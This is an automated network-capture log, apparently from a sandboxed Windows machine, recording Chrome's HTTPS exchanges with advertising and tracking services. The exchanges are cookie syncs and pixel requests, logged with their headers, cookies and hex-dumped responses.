2024-04-27 22:42:22 UTC	783	OUT	GET /v000/sync?userid=1476058396850158061&pn_id=an HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
2024-04-27 22:42:22 UTC	792	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:22 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptran=1476058396850158061; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:22 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-04-27 22:42:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.4	50405	3.209.150.107	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	770	OUT	GET /sync?pn_id=rc&id=LVIOSA1W-7-6DCM HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
2024-04-27 22:42:22 UTC	788	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:22 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptrrc=LVIOSA1W-7-6DCM; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:42:22 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-04-27 22:42:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.4	50407	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	872	OUT	GET /pixel?google_nid=yieldmo_dbm&google_cm&pn_id=c HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:22 UTC	664	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ads.yieldmo.com/v000/sync?pn_id=c&google_gid=CAESENDP38n5xEeD2tet0N-YGyg&google_cver=1 Date: Sat, 27 Apr 2024 22:42:22 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 299 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:22 UTC	299	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 79 69 65 6c 64 6d 6f 2e 63 6f 6d 2f 76 30 30 30 2f 73 79 6e 63 3f 70 6e 5f 69 64 3d 63 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 45 4e 44 50 33 38 6e 35 78 45 65 44 32 74 65 74 30 4e 2d 59 47 79 67 26 61 6d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ads.yieldmo.com/v000/sync?pn_id=c&google_gid=CAESENDP38n5xEeD2tet0N-YGyg&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.4	50409	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	893	OUT	GET /pixel?google_nid=yieldmo_dbm&google_hm=VmNKblNTU1hYblNxMTlBTDlrU1E= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:22 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Sat, 27 Apr 2024 22:42:22 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:22 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.4	50408	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	1017	OUT	GET /usersync2/rmpssp?sub=yieldmo&redir%3Dhttps%3A%2F%2Fads.yieldmo.com%2Fv000%2Fsync%3Fpn_id%3Dunl%26id%3D%5BRX_UUID%5D HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
2024-04-27 22:42:22 UTC	645	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:24 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222069.28%22%2C%22nxtrdr%22%3Afalse%7D; path=/; expires=Sun, 27 Apr 2025 22:42:24 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://ad.turn.com/r/cs?pid=45&rndcb=5085332243 etag: RX915945b26af349759839febe73c73a74005 connection: close
2024-04-27 22:42:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.4	50411	74.119.117.16	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	837	OUT	GET /dis/usersync.aspx?r=44&p=75&cp=triplelift&cu=1&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=${GPP_STRING_28}&gpp_sid=&url=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D2711%26xuid%3D%40%40CRITEO_USERID%40%40%26dongle%3D013b HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=3a1484ea-90ac-4bdd-895c-934bad280353
2024-04-27 22:42:22 UTC	569	IN	HTTP/1.1 302 Found content-length: 0 date: Sat, 27 Apr 2024 22:42:22 GMT server: Kestrel cache-control: no-cache expires: Sat, 27 Apr 2024 00:00:00 GMT location: https://eb2.3lift.com/xuid?mid=2711&xuid=3a1484ea-90ac-4bdd-895c-934bad280353&dongle=013b&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=${GPP_STRING_28} pragma: no-cache x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 998931 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.4	50416	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	665	OUT	GET /cookie-sync/trl?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AAERJ07MWv8AABVaVp3HVQ; bitoIsSecure=ok
2024-04-27 22:42:22 UTC	403	IN	HTTP/1.1 303 See Other Date: Sat, 27 Apr 2024 22:42:22 GMT location: https://eb2.3lift.com/xuid?mid=7255&xuid=AAERJ07MWv8AABVaVp3HVQ&dongle=bzwx&gdpr=0 Server: gunicorn set-cookie: bito=AAERJ07MWv8AABVaVp3HVQ; Domain=bidr.io; expires=Tue, 27 May 2025 18:42:22 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.4	50418	34.36.216.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	686	OUT	GET /dmp/pixelSync?nid=83&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901
2024-04-27 22:42:22 UTC	1180	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901; Domain=.sitescout.com; Expires=Sun, 27-Apr-2025 22:42:22 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyIyNiI6MTcxNDI1Nzc0MjY1MywiMzkiOjE3MTQyNTc3NDI2NTMsIjciOjE3MTQyNTc3NDI2NTN9; Domain=.sitescout.com; Expires=Mon, 27-May-2024 22:42:22 GMT; Path=/; Secure; SameSite=None location: https://sync.crwdcntrl.net/qmap?c=1389&tp=STSC&tpid=14f55726-f4ad-421d-bd2f-9c7bac51541e-662d7f49-5553&gdpr=0&gdpr_consent=&d=https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Fpush%3Fpartner_id%3D2499%26partner_device_id%3D14f55726-f4ad-421d-bd2f-9c7bac51541e-662d7f49-5553%26partner_url%3Dhttps%253A%252F%252Feb2.3lift.com%252Fxuid%253Fmid%253D3646%2526xuid%253D14f55726-f4ad-421d-bd2f-9c7bac51541e-662d7f49-5553%2526dongle%253D1fa5%2526gdpr%253D0%2526gdpr_consent%253D Content-Length: 0 date: Sat, 27 Apr 2024 22:42:22 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.4	50410	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	994	OUT	GET /w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:22 UTC	638	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; Version=1; Expires=Sun, 27-Apr-2025 22:42:22 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1714257725.17\|iKvPvMgakWgy.bwuYhEgKg2f8; Version=1; Expires=Sun, 12-May-2024 22:42:22 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: text/html Content-Length: 929 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:22 UTC	929	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 70 69 64 3d 37 36 26 33 70 69 64 3d 61 38 34 34 39 64 61 35 2d 32 37 65 38 2d 30 65 37 33 2d 30 36 35 66 2d 36 Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://ce.lijit.com/merge?pid=76&3pid=a8449da5-27e8-0e73-065f-6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.4	50419	52.46.155.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	701	OUT	GET /x/757c0557066e95cfd4c7?gdpr=0&gdpr_consent=&uid=4394171109507437451801 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
2024-04-27 22:42:22 UTC	827	IN	HTTP/1.1 200 OK Server: Server Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 291 Connection: close x-amz-rid: NTRWE3VGMT5HD76TJ91A Set-Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:42:22 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:42:22 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-27 22:42:22 UTC	291	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 0a 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 73 72 63 3d 22 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 76 33 2f 70 72 3f 65 78 6c 69 73 74 3d 33 6c 69 66 74 26 66 76 3d 31 2e 30 26 61 3d 63 6d 26 63 6d 33 70 70 64 3d 31 26 64 6d 74 3d 33 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 64 70 72 3d 30 22 20 73 61 6e 64 62 6f 78 3d 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c Data Ascii: <html><body style="background-color:transparent"><iframe width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" src="//s.amazon-adsystem.com/v3/pr?exlist=3lift&fv=1.0&a=cm&cm3ppd=1&dmt=3&gdpr_consent=&gdpr=0" sandbox="allow-same-origin all

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.4	50415	52.7.87.144	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	752	OUT	GET /d/sync/cookie/generic?https://eb2.3lift.com/xuid?mid=3702&xuid=${ADELPHIC_CUID}&dongle=d54f&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290
2024-04-27 22:42:22 UTC	489	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Sat, 27 Apr 2024 22:42:22 GMT Location: https://eb2.3lift.com/xuid?mid=3702&xuid=f10e083f-54cc-4ce5-aa07-8210352e586a&dongle=d54f&gdpr=0&gdpr_consent= Set-Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290; Path=/; Domain=ipredictive.com; Expires=Sun, 27 Apr 2025 22:42:22 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: 5d23aefe-a5c5-4793-ad9b-86f9bf2c519d Content-Length: 149 Connection: Close
